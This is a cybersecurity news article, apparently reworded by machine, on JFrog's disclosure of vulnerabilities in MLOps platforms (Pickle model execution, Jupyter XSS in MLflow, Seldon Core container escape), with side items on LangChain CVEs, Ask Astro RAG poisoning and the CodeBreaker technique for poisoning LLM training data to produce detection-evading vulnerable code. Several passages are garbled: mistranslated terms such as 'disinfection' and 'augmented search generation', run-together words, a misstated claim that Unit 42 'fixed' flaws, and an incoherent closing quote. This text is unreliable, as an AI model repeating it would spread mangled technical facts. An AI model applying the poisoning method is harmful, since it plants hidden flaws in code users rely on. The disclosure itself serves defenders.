Cybersecurity researchers are warning of security risks in the machine learning (ML) software supply chain after discovering more than 20 vulnerabilities that could be used to target MLOps platforms.
Described as internal and implementation-based flaws, these vulnerabilities can have serious consequences ranging from executing arbitrary code to downloading malicious datasets.
MLOps platforms offer the ability to develop and execute an ML model pipeline with a model registry that acts as a repository used to store and train ML models. These models can then be embedded in the application or allowed to be requested by other clients using an API (aka Model as a Service).
“Inherent vulnerabilities are vulnerabilities caused by the underlying formats and processes used in the target technology,” JFrog researchers said in a detailed report.
Some examples of internal vulnerabilities include abusing ML models to run code of an attacker’s choosing by exploiting the fact that the models support automatic code execution on boot (e.g. Pickle model files).
This behavior also extends to certain dataset formats and libraries that allow automatic code execution, potentially opening the door to malware attacks by simply loading a public dataset.
Another example of the vulnerability involves JupyterLab (formerly Jupyter Notebook), a web-based interactive computing environment that allows users to execute blocks (or cells) of code and view the corresponding results.
“An inherent problem that many are unaware of is the handling of HTML output when executing blocks of code in Jupyter,” the researchers noted. “The output of your Python code can output HTML and (JavaScript) that your browser will be happy to display.”
The problem here is that the JavaScript output when run is not sandboxed from the parent web application and that the parent web application can automatically run arbitrary Python code.
In other words, an attacker could output malicious JavaScript code that adds a new cell to the current JupyterLab notebook, inject Python code into it, and then execute it. This is especially true in cases of cross-site scripting (XSS) exploits.
To that end, JFrog claimed to have discovered an XSS flaw in MLFlow (CVE-2024-27132CVSS score: 7.5) resulting from insufficient disinfection when running an unreliable recipewhich causes the client-side code to execute in JupyterLab.
“One of our main conclusions from this study is that we need to treat all XSS vulnerabilities in ML libraries as potential arbitrary code execution, as data scientists can use these ML libraries from Jupyter Notebook,” the researchers said.
The second set of vulnerabilities is related to implementation weaknesses, such as the lack of authentication on MLOps platforms, potentially allowing a threat actor with network access to gain code execution capabilities by abusing the ML Pipeline functionality.
These threats are not theoretical, with financially motivated adversaries abusing such loopholes as was observed in the case of Anyscale Ray without patches (CVE-2023-48022CVSS score: 9.8), to deploy cryptocurrency miners.
The second type of implementation vulnerability is a container escape targeting Seldon Core that allows an attacker to go beyond code execution to navigate the cloud environment and access other users’ models and datasets by uploading a malicious model to the output server.
The end result of combining these vulnerabilities is that they can not only be weapons for penetration and distribution within an organization, but also compromise servers.
“When you deploy a platform that allows you to serve a model, you now have to know that anyone who can serve a new model can also actually run arbitrary code on that server,” the researchers said. “Ensure that the environment in which the model is running is fully isolated and protected from container escapes.”
The disclosure comes as Palo Alto Networks Unit 42 in detail fixed two vulnerabilities in the open-source LangChain artificial intelligence generative framework (CVE-2023-46229 and CVE-2023-44467) that could allow attackers to execute arbitrary code and access sensitive data, respectively.
Also Trail of Bits last month revealed four issues in Ask Astro, an open source chatbot application with augmented search generation (RAG), that can lead to poisoned chatbot output, inaccurate document reception, and potential denial of service (DoS).
Just as security issues are being exposed in AI applications, techniques are also being exposed came up with to poison training datasets with the ultimate goal of tricking large language models (LLMs) into producing vulnerable code.
“Unlike recent attacks that embed malicious payloads into exposed or irrelevant sections of code (such as comments), CodeBreaker uses LLM (such as GPT-4) to complexly transform the payload (without affecting functionality), ensuring that how poisoned data for accurate -Configuration and generated code can avoid strong vulnerability detection,” a team of scientists from the University of Connecticut said.
